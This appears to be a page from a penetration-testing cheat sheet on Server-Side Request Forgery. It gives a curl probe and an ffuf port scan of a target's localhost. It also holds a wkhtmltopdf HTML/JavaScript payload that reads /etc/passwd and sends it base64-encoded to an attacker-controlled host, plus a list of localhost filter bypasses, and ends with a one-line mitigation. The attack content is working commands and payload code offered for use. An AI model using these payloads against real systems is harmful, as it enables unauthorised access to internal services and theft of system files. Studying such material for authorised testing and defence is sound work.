SSRF

Server-Side Request Forgery

SSRF

Checking if parameter makes query to a URL

$ curl -i -s "http://<TARGET IP>/load?q=http://<OUR IP>:8080"

Scanning open ports in Victim's local host

$ ffuf -w ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT"

wkhtmltopdf SSRF

SSRF to read local files

<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<ATTACKER IP>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>

SSRF to RCE

Payload

Bypass

Try variants of localhost, non-exhuastive:

  1. 127.0.0.1

  2. 127.000.000.01

  3. https://allowsite.com@localhost

  4. [::]

Mitigation

Zero trust approach and require authentication and all services, including internal ones

PreviousCommand InjectionNextSSTI

Last updated